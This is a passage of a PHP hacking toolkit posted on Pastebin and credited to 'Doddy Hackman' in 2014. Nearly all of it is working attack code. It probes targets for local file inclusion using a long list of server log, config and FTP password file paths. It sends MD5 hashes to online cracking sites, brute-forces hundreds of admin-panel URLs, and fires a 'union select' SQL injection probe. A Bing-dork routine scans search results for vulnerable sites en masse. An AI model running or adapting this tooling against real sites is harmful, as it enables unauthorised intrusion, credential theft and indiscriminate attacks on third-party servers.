'/etc/httpd/logs/acces.log', '/var/log/httpd/access_log', '/var/log/httpd/error_log', '/apache2/logs/error.log', '/apache2/logs/access.log', '/logs/error.log', '/logs/access.log', '/usr/local/apache2/logs/access_log', '/usr/local/apache2/logs/access.log', '/usr/local/apache2/logs/error_log', '/usr/local/apache2/logs/error.log', '/var/log/httpd/access.log', '/var/log/httpd/error.log', '/opt/lampp/logs/access_log', '/opt/lampp/logs/error_log', '/opt/xampp/logs/access_log', '/opt/xampp/logs/error_log', '/opt/lampp/logs/access.log', '/opt/lampp/logs/error.log', '/opt/xampp/logs/access.log', '/opt/xampp/logs/error.log', 'C:\ProgramFiles\ApacheGroup\Apache\logs\access.log', 'C:\ProgramFiles\ApacheGroup\Apache\logs\error.log', '/usr/local/apache/conf/httpd.conf', '/usr/local/apache2/conf/httpd.conf', '/etc/apache/conf/httpd.conf', '/usr/local/etc/apache/conf/httpd.conf', '/usr/local/apache/httpd.conf', '/usr/local/apache2/httpd.conf', '/usr/local/httpd/conf/httpd.conf', '/usr/local/etc/apache2/conf/httpd.conf', '/usr/local/etc/httpd/conf/httpd.conf', '/usr/apache2/conf/httpd.conf', '/usr/apache/conf/httpd.conf', '/usr/local/apps/apache2/conf/httpd.conf', '/usr/local/apps/apache/conf/httpd.conf', '/etc/apache2/conf/httpd.conf', '/etc/http/conf/httpd.conf', '/etc/httpd/httpd.conf', '/etc/http/httpd.conf', '/etc/httpd.conf', '/opt/apache/conf/httpd.conf', '/opt/apache2/conf/httpd.conf', '/var/www/conf/httpd.conf', '/private/etc/httpd/httpd.conf', '/private/etc/httpd/httpd.conf.default', '/Volumes/webBackup/opt/apache2/conf/httpd.conf', '/Volumes/webBackup/private/etc/httpd/httpd.conf', '/Volumes/webBackup/private/etc/httpd/httpd.conf.default', 'C:\ProgramFiles\ApacheGroup\Apache\conf\httpd.conf', 'C:\ProgramFiles\ApacheGroup\Apache2\conf\httpd.conf', 'C:\ProgramFiles\xampp\apache\conf\httpd.conf', '/usr/local/php/httpd.conf.php', '/usr/local/php4/httpd.conf.php', '/usr/local/php5/httpd.conf.php', '/usr/local/php/httpd.conf', '/usr/local/php4/httpd.conf', '/usr/local/php5/httpd.conf', '/Volumes/Macintosh_HD1/opt/httpd/conf/httpd.conf', '/Volumes/Macintosh_HD1/opt/apache/conf/httpd.conf', '/Volumes/Macintosh_HD1/opt/apache2/conf/httpd.conf', '/Volumes/Macintosh_HD1/usr/local/php/httpd.conf.php', '/Volumes/Macintosh_HD1/usr/local/php4/httpd.conf.php', '/Volumes/Macintosh_HD1/usr/local/php5/httpd.conf.php', '/usr/local/etc/apache/vhosts.conf', '/etc/php.ini', '/bin/php.ini', '/etc/httpd/php.ini', '/usr/lib/php.ini', '/usr/lib/php/php.ini', '/usr/local/etc/php.ini', '/usr/local/lib/php.ini', '/usr/local/php/lib/php.ini', '/usr/local/php4/lib/php.ini', '/usr/local/php5/lib/php.ini', '/usr/local/apache/conf/php.ini', '/etc/php4.4/fcgi/php.ini', '/etc/php4/apache/php.ini', '/etc/php4/apache2/php.ini', '/etc/php5/apache/php.ini', '/etc/php5/apache2/php.ini', '/etc/php/php.ini', '/etc/php/php4/php.ini', '/etc/php/apache/php.ini', '/etc/php/apache2/php.ini', '/web/conf/php.ini', '/usr/local/Zend/etc/php.ini', '/opt/xampp/etc/php.ini', '/var/local/www/conf/php.ini', '/etc/php/cgi/php.ini', '/etc/php4/cgi/php.ini', '/etc/php5/cgi/php.ini', 'c:\php5\php.ini', 'c:\php4\php.ini', 'c:\php\php.ini', 'c:\PHP\php.ini', 'c:\WINDOWS\php.ini', 'c:\WINNT\php.ini', 'c:\apache\php\php.ini', 'c:\xampp\apache\bin\php.ini', 'c:\NetServer\bin\stable\apache\php.ini', 'c:\home2\bin\stable\apache\php.ini', 'c:\home\bin\stable\apache\php.ini', '/Volumes/Macintosh_HD1/usr/local/php/lib/php.ini', '/usr/local/cpanel/logs', '/usr/local/cpanel/logs/stats_log', '/usr/local/cpanel/logs/access_log', '/usr/local/cpanel/logs/error_log', '/usr/local/cpanel/logs/license_log', '/usr/local/cpanel/logs/login_log', '/var/cpanel/cpanel.config', '/var/log/mysql/mysql-bin.log', '/var/log/mysql.log', '/var/log/mysqlderror.log', '/var/log/mysql/mysql.log', '/var/log/mysql/mysql-slow.log', '/var/mysql.log', '/var/lib/mysql/my.cnf', 'C:\ProgramFiles\MySQL\MySQLServer5.0\data\hostname.err', 'C:\ProgramFiles\MySQL\MySQLServer5.0\data\mysql.log', 'C:\ProgramFiles\MySQL\MySQLServer5.0\data\mysql.err', 'C:\ProgramFiles\MySQL\MySQLServer5.0\data\mysql-bin.log', 'C:\ProgramFiles\MySQL\data\hostname.err', 'C:\ProgramFiles\MySQL\data\mysql.log', 'C:\ProgramFiles\MySQL\data\mysql.err', 'C:\ProgramFiles\MySQL\data\mysql-bin.log', 'C:\MySQL\data\hostname.err', 'C:\MySQL\data\mysql.log', 'C:\MySQL\data\mysql.err', 'C:\MySQL\data\mysql-bin.log', 'C:\ProgramFiles\MySQL\MySQLServer5.0\my.ini', 'C:\ProgramFiles\MySQL\MySQLServer5.0\my.cnf', 'C:\ProgramFiles\MySQL\my.ini', 'C:\ProgramFiles\MySQL\my.cnf', 'C:\MySQL\my.ini', 'C:\MySQL\my.cnf', '/etc/logrotate.d/proftpd', '/www/logs/proftpd.system.log', '/var/log/proftpd', '/etc/proftp.conf', '/etc/protpd/proftpd.conf', '/etc/vhcs2/proftpd/proftpd.conf', '/etc/proftpd/modules.conf', '/var/log/vsftpd.log', '/etc/vsftpd.chroot_list', '/etc/logrotate.d/vsftpd.log', '/etc/vsftpd/vsftpd.conf', '/etc/vsftpd.conf', '/etc/chrootUsers', '/var/log/xferlog', '/var/adm/log/xferlog', '/etc/wu-ftpd/ftpaccess', '/etc/wu-ftpd/ftphosts', '/etc/wu-ftpd/ftpusers', '/usr/sbin/pure-config.pl', '/usr/etc/pure-ftpd.conf', '/etc/pure-ftpd/pure-ftpd.conf', '/usr/local/etc/pure-ftpd.conf', '/usr/local/etc/pureftpd.pdb', '/usr/local/pureftpd/etc/pureftpd.pdb', '/usr/local/pureftpd/sbin/pure-config.pl', '/usr/local/pureftpd/etc/pure-ftpd.conf', '/etc/pure-ftpd/pure-ftpd.pdb', '/etc/pureftpd.pdb', '/etc/pureftpd.passwd', '/etc/pure-ftpd/pureftpd.pdb', '/var/log/pure-ftpd/pure-ftpd.log', '/logs/pure-ftpd.log', '/var/log/pureftpd.log', '/var/log/ftp-proxy/ftp-proxy.log', '/var/log/ftp-proxy', '/var/log/ftplog', '/etc/logrotate.d/ftp', '/etc/ftpchroot', '/etc/ftphosts', '/var/log/exim_mainlog', '/var/log/exim/mainlog', '/var/log/maillog', '/var/log/exim_paniclog', '/var/log/exim/paniclog', '/var/log/exim/rejectlog', '/var/log/exim_rejectlog');
  525.     $code = toma($target . "'");
  526.     $check_lfi = "0";
  527.     if (preg_match("/No such file or directory in <b>(.*)<\/b> on line/i", $code)) {
  528.         preg_match_all("/No such file or directory in <b>(.*)<\/b> on line/i", $code, $re);
  529.         echo "\n\t\t\t[+] Full Path Discloure : " . $re[1][0];
  530.         $check_lfi = "1";
  531.     } elseif (preg_match("/No existe el fichero o el directorio in <b>(.*?)<\/b> on line/i", $code)) {
  532.         preg_match_all("/No existe el fichero o el directorio in <b>(.*?)<\/b> on line/i", $code, $re);
  533.         echo "\n\t\t\t[+] Full Path Discloure : " . $re[1][0];
  534.         $check_lfi = "1";
  535.     } else {
  536.         echo "\n\t\t\t[-] Not Vulnerable";
  537.         $check_lfi = "0";
  538.     }
  539.     if ($check_lfi == 1) {
  540.         echo "\n\n\t\t\t[+] Searching files ...\n";
  541.         foreach($files as $file) {
  542.             $code = toma($target . $file);
  543.             if (preg_match("/No such file or directory in <b>(.*)<\/b> on line/i", $code) or preg_match("/No existe el fichero o el directorio in <b>(.*?)<\/b> on line/i", $code)) {
  544.             } else {
  545.                 echo "\n\t\t\t[+] : " . $target . $file;
  546.             }
  547.         }
  548.         echo "\n\n\t\t\t[+] Finished";
  549.     }
  550. }
  551. function crackmd5($hash) {
  552.     echo "\n\t\t\t[+] " . $hash . " : ";
  553.     $code = tomar("http://www.md5.net/cracker.php", "hash=" . $hash . "&submit=Crack");
  554.     $check_error = "0";
  555.     if (preg_match("/<input type=\"text\" id=\"hash\" size=\"(.*?)\" value=\"(.*?)\"/i", $code)) {
  556.         preg_match_all("/<input type=\"text\" id=\"hash\" size=\"(.*?)\" value=\"(.*?)\"/i", $code, $re);
  557.         if (preg_match("/Entry not found/", $re[2][0])) {
  558.             $check_error = "0";
  559.         } else {
  560.             echo $re[2][0];
  561.             $check_error = "1";
  562.         }
  563.     } else {
  564.         echo "Not Found";
  565.         $check_error = "0";
  566.     }
  567.     if ($check_error == 1) {
  568.     } else {
  569.         $code = tomar("http://md5online.net/index.php", "pass=" . $hash . "&option=hash2text&send=Submit");
  570.         if (preg_match("/<center><p>md5 :<b>(.*?)<\/b> <br>pass : <b>(.*?)<\/b><\/p>/i", $code)) {
  571.             preg_match_all("/<center><p>md5 :<b>(.*?)<\/b> <br>pass : <b>(.*?)<\/b><\/p>/i", $code, $re);
  572.             echo $re[2][0];
  573.         } else {
  574.             $code = tomar("http://md5decryption.com/index.php", "hash=" . $hash . "&submit=Decrypt It!");
  575.             if (preg_match("/Decrypted Text: <\/b>(.*?)<\/font>/i", $code)) {
  576.                 preg_match_all("/Decrypted Text: <\/b>(.*?)<\/font>/i", $code, $re);
  577.                 echo $re[1][0];
  578.             } else {
  579.                 $code = tomar("http://md5.my-addr.com/md5_decrypt-md5_cracker_online/md5_decoder_tool.php", "md5=" . $hash);
  580.                 if (preg_match("/<span class='middle_title'>Hashed string<\/span>: (.*?)<\/div>/i", $code)) {
  581.                     preg_match_all("/<span class='middle_title'>Hashed string<\/span>: (.*?)<\/div>/i", $code, $re);
  582.                     echo $re[1][0];
  583.                 } else {
  584.                     echo "Not Found";
  585.                 }
  586.             }
  587.         }
  588.     }
  589. }
  590. function locateip($target) {
  591.     $dame_host = parse_url($target);
  592.     $hostname = $dame_host['host'];
  593.     $ip = gethostbyname($hostname);
  594.     echo "\n\t\t\t[+] Searching ...\n";
  595.     $code = toma("http://www.melissadata.com/lookups/iplocation.asp?ipaddress=" . $ip);
  596.     if (preg_match("/City<\/td><td align=(.*)><b>(.*)<\/b><\/td>/i", $code)) {
  597.         preg_match_all("/City<\/td><td align=(.*)><b>(.*)<\/b><\/td>/i", $code, $re);
  598.         echo "\n\t\t\t[+] City : " . $re[2][0];
  599.     } else {
  600.         echo "\n\t\t\t[+] City : Not Found";
  601.     }
  602.     if (preg_match("/Country<\/td><td align=(.*)><b>(.*)<\/b><\/td>/i", $code)) {
  603.         preg_match_all("/Country<\/td><td align=(.*)><b>(.*)<\/b><\/td>/i", $code, $re);
  604.         echo "\n\t\t\t[+] Country : " . $re[2][0];
  605.     } else {
  606.         echo "\n\t\t\t[+] Country : Not Found";
  607.     }
  608.     if (preg_match("/State or Region<\/td><td align=(.*)><b>(.*)<\/b><\/td>/i", $code)) {
  609.         preg_match_all("/State or Region<\/td><td align=(.*)><b>(.*)<\/b><\/td>/i", $code, $re);
  610.         echo "\n\t\t\t[+] State or Region : " . $re[2][0];
  611.     } else {
  612.         echo "\n\t\t\t[+] State or Region : Not Found";
  613.     }
  614.     echo "\n";
  615.     $code = toma("http://www.ip-adress.com/reverse_ip/" . $ip);
  616.     if (preg_match("/whois\/(.*?)\">Whois/i", $code)) {
  617.         preg_match_all("/whois\/(.*?)\">Whois/i", $code, $re);
  618.         $matches = $re[1];
  619.         foreach($matches as $valor) {
  620.             echo "\n\t\t\t[+] DNS Found : " . $valor;
  621.         }
  622.     }
  623.     echo "\n\n\t\t\t[+] Finished";
  624. }
  625. function paneladmin($target) {
  626.     $panels = array('admin/admin.asp', 'admin/login.asp', 'admin/index.asp', 'admin/admin.aspx', 'admin/login.aspx', 'admin/index.aspx', 'admin/webmaster.asp', 'admin/webmaster.aspx', 'asp/admin/index.asp', 'asp/admin/index.aspx', 'asp/admin/admin.asp', 'asp/admin/admin.aspx', 'asp/admin/webmaster.asp', 'asp/admin/webmaster.aspx', 'admin/', 'login.asp', 'login.aspx', 'admin.asp', 'admin.aspx', 'webmaster.aspx', 'webmaster.asp', 'login/index.asp', 'login/index.aspx', 'login/login.asp', 'login/login.aspx', 'login/admin.asp', 'login/admin.aspx', 'administracion/index.asp', 'administracion/index.aspx', 'administracion/login.asp', 'administracion/login.aspx', 'administracion/webmaster.asp', 'administracion/webmaster.aspx', 'administracion/admin.asp', 'administracion/admin.aspx', 'php/admin/', 'admin/admin.php', 'admin/index.php', 'admin/login.php', 'admin/system.php', 'admin/ingresar.php', 'admin/administrador.php', 'admin/default.php', 'administracion/', 'administracion/index.php', 'administracion/login.php', 'administracion/ingresar.php', 'administracion/admin.php', 'administration/', 'administration/index.php', 'administration/login.php', 'administrator/index.php', 'administrator/login.php', 'administrator/system.php', 'system/', 'system/login.php', 'admin.php', 'login.php', 'administrador.php', 'administration.php', 'administrator.php', 'admin1.html', 'admin1.php', 'admin2.php', 'admin2.html', 'yonetim.php', 'yonetim.html', 'yonetici.php', 'yonetici.html', 'adm/', 'admin/account.php', 'admin/account.html', 'admin/index.html', 'admin/login.html', 'admin/home.php', 'admin/controlpanel.html', 'admin/controlpanel.php', 'admin.html', 'admin/cp.php', 'admin/cp.html', 'cp.php', 'cp.html', 'administrator/', 'administrator/index.html', 'administrator/login.html', 'administrator/account.html', 'administrator/account.php', 'administrator.html', 'login.html', 'modelsearch/login.php', 'moderator.php', 'moderator.html', 'moderator/login.php', 'moderator/login.html', 'moderator/admin.php', 'moderator/admin.html', 'moderator/', 'account.php', 'account.html', 'controlpanel/', 'controlpanel.php', 'controlpanel.html', 'admincontrol.php', 'admincontrol.html', 'adminpanel.php', 'adminpanel.html', 'admin1.asp', 'admin2.asp', 'yonetim.asp', 'yonetici.asp', 'admin/account.asp', 'admin/home.asp', 'admin/controlpanel.asp', 'admin/cp.asp', 'cp.asp', 'administrator/index.asp', 'administrator/login.asp', 'administrator/account.asp', 'administrator.asp', 'modelsearch/login.asp', 'moderator.asp', 'moderator/login.asp', 'moderator/admin.asp', 'account.asp', 'controlpanel.asp', 'admincontrol.asp', 'adminpanel.asp', 'fileadmin/', 'fileadmin.php', 'fileadmin.asp', 'fileadmin.html', 'administration.html', 'sysadmin.php', 'sysadmin.html', 'phpmyadmin/', 'myadmin/', 'sysadmin.asp', 'sysadmin/', 'ur-admin.asp', 'ur-admin.php', 'ur-admin.html', 'ur-admin/', 'Server.php', 'Server.html', 'Server.asp', 'Server/', 'wp-admin/', 'administr8.php', 'administr8.html', 'administr8/', 'administr8.asp', 'webadmin/', 'webadmin.php', 'webadmin.asp', 'webadmin.html', 'administratie/', 'admins/', 'admins.php', 'admins.asp', 'admins.html', 'administrivia/', 'Database_Administration/', 'WebAdmin/', 'useradmin/', 'sysadmins/', 'admin1/', 'system-administration/', 'administrators/', 'pgadmin/', 'directadmin/', 'staradmin/', 'ServerAdministrator/', 'SysAdmin/', 'administer/', 'LiveUser_Admin/', 'sys-admin/', 'typo3/', 'panel/', 'cpanel/', 'cPanel/', 'cpanel_file/', 'platz_login/', 'rcLogin/', 'blogindex/', 'formslogin/', 'autologin/', 'support_login/', 'meta_login/', 'manuallogin/', 'simpleLogin/', 'loginflat/', 'utility_login/', 'showlogin/', 'memlogin/', 'members/', 'login-redirect/', 'sub-login/', 'wp-login/', 'login1/', 'dir-login/', 'login_db/', 'xlogin/', 'smblogin/', 'customer_login/', 'UserLogin/', 'login-us/', 'acct_login/', 'admin_area/', 'bigadmin/', 'project-admins/', 'phppgadmin/', 'pureadmin/', 'sql-admin/', 'radmind/', 'openvpnadmin/', 'wizmysqladmin/', 'vadmind/', 'ezsqliteadmin/', 'hpwebjetadmin/', 'newsadmin/', 'adminpro/', 'Lotus_Domino_Admin/', 'bbadmin/', 'vmailadmin/', 'Indy_admin/', 'ccp14admin/', 'irc-macadmin/', 'banneradmin/', 'sshadmin/', 'phpldapadmin/', 'macadmin/', 'administratoraccounts/', 'admin4_account/', 'admin4_colon/', 'radmind-1/', 'Super-Admin/', 'AdminTools/', 'cmsadmin/', 'SysAdmin2/', 'globes_admin/', 'cadmins/', 'phpSQLiteAdmin/', 'navSiteAdmin/', 'server_admin_small/', 'logo_sysadmin/', 'server/', 'database_administration/', 'power_user/', 'system_administration/', 'ss_vms_admin_sm/');
  627.     @set_time_limit(20);
  628.     echo "\n\t\t\t" . "[+] Searching panels in " . $target . "\n";
  629.     foreach($panels as $panel) {
  630.         if (tomax($target . "/" . $panel) == 200) {
  631.             echo "\n\t\t\t[+] Link : " . $target . "/" . $panel;
  632.         }
  633.     }
  634.     echo "\n\n\t\t\t" . "[+] Finished";
  635. }
  636. //$code = toma("http://www.petardas.com/index.php");
  637. //if(preg_match("/Sexo/i", $code)) {
  638. //echo "yeah";
  639. //}
  640. //$code = tomar("http://localhost:8080/labs/post.php","probar=fuckyou&con=forear");
  641. //if(preg_match("/fuckyou/i", $code)) {
  642. //echo "yeah";
  643. //}
  644. //checksql("http://localhost:8080/labs/sql.php?id=ddsa");
  645. //scanner_bing("noticias.php+id","5");
  646. function checksql($target) {
  647.     if (preg_match('/(.*)=(.*)/i', $target)) {
  648.         preg_match_all('/(.*)=(.*)/i', $target, $re);
  649.         $code = toma($re[1][0] . "=-1+union+select+1--");
  650.         if (preg_match('/The used SELECT statements have a different number of columns/i', $code)) {
  651.             echo "\n\t\t\t[+] SQLI : " . $re[1][0] . "=";
  652.         }
  653.     }
  654. }
  655. function scanner_bing($dork, $paginas) {
  656.     echo "\n\t\t\t[+] Scanning ...\n";
  657.     $valor = "10" * $paginas;
  658.     $valorz = (int)$valor;
  659.     for ($i = 10;$i <= $valorz;$i+= 10) {
  660.         $code = toma("http://www.bing.com/search?q=" . $dork . "&first=" . $i);
  661.         if (preg_match('/<h3><a href="(.*?)"/i', $code)) {
  662.             preg_match_all('/<h3><a href="(.*?)"/i', $code, $re);
  663.             $reco = $re[1];
  664.             foreach($reco as $target) {
  665.                 checksql($target);
  666.             }
  667.         }
  668.     }
  669.     echo "\n\n\t\t\t[+] Finished\n";
  670. }
  671. function hexdecode($texto) {
  672.     // Credits
  673.     // Based on : http://stackoverflow.com/questions/14674834/php-convert-string-to-hex-and-hex-to-string
  674.     $final = "";
  675.     for ($num = 0;$num < strlen($texto) - 1;$num+= 2) {
  676.         $final.= chr(hexdec($texto[$num] . $texto[$num + 1]));
  677.     }
  678.     return $final;
  679. }
  680. function hex($texto) {
  681.     // Credits
  682.     // Based on : http://stackoverflow.com/questions/14674834/php-convert-string-to-hex-and-hex-to-string
  683.     $final = "";
  684.     for ($num = 0;$num < strlen($texto);$num++) {
  685.         $final.= substr('0' . dechex(ord($texto[$num])), -2);
  686.     }
  687.     return "0x" . $final;
  688. }
  689. function tomax($target) {
  690.     $nave = curl_init($target);
  691.     curl_setopt($nave, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0');
  692.     curl_setopt($nave, CURLOPT_TIMEOUT, 5);
  693.     curl_setopt($nave, CURLOPT_RETURNTRANSFER, true);
  694.     $resultado = curl_exec($nave);
  695.     return curl_getinfo($nave, CURLINFO_HTTP_CODE);
  696. }
  697. function toma($target) {
  698.     $nave = curl_init($target);
  699.     curl_setopt($nave, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0');
  700.     curl_setopt($nave, CURLOPT_TIMEOUT, 5);
  701.     curl_setopt($nave, CURLOPT_RETURNTRANSFER, true);
  702.     return curl_exec($nave);
  703. }
  704. function tomar($target, $params) {
  705.     $nave = curl_init($target);
  706.     curl_setopt($nave, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0');
  707.     curl_setopt($nave, CURLOPT_TIMEOUT, 5);
  708.     curl_setopt($nave, CURLOPT_POST, true);
  709.     curl_setopt($nave, CURLOPT_POSTFIELDS, $params);
  710.     curl_setopt($nave, CURLOPT_RETURNTRANSFER, true);
  711.     return curl_exec($nave);
  712. }
  713. function darcolor() {
  714.     echo "<!-- This program has been programmed by Doddy Hackman in the year 2014 -->";
  715.     echo '<style type="text/css">
  716.  
  717.  
  718. .main {
  719. margin            : -287px 0px 0px -490px;
  720. border            : White solid 1px;
  721. BORDER-COLOR: #00FF00;
  722. }
  723.  
  724.  
  725. #pie {
  726. position: absolute;
  727. bottom: 0;
  728. }
  729.  
  730. body,a:link {
  731. background-color: #000000;
  732. color:#00FF00;
  733. Courier New;
  734. cursor:crosshair;
  735. font-size: small;
  736. }
  737.  
  738. input,table.outset,table.bord,table,textarea,select,fieldset,td,tr {
  739. font: normal 12px Verdana, Arial, Helvetica,
  740. sans-serif;
  741. background-color:black;color:#00FF00;
  742. border: solid 1px #00FF00;
  743. border-color:#00FF00
  744. }
  745.  
  746. a:link,a:visited,a:active {
  747. color: #00FF00;
  748. font: normal 17px Verdana, Arial, Helvetica,
  749. sans-serif;
  750. text-decoration: none;
  751. }
  752.  
  753. </style>
  754. ';
  755. }
  756. echo "<!-- The End ? -->";
  757.  
  758. // The End ?
  759.  
  760. ?>
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!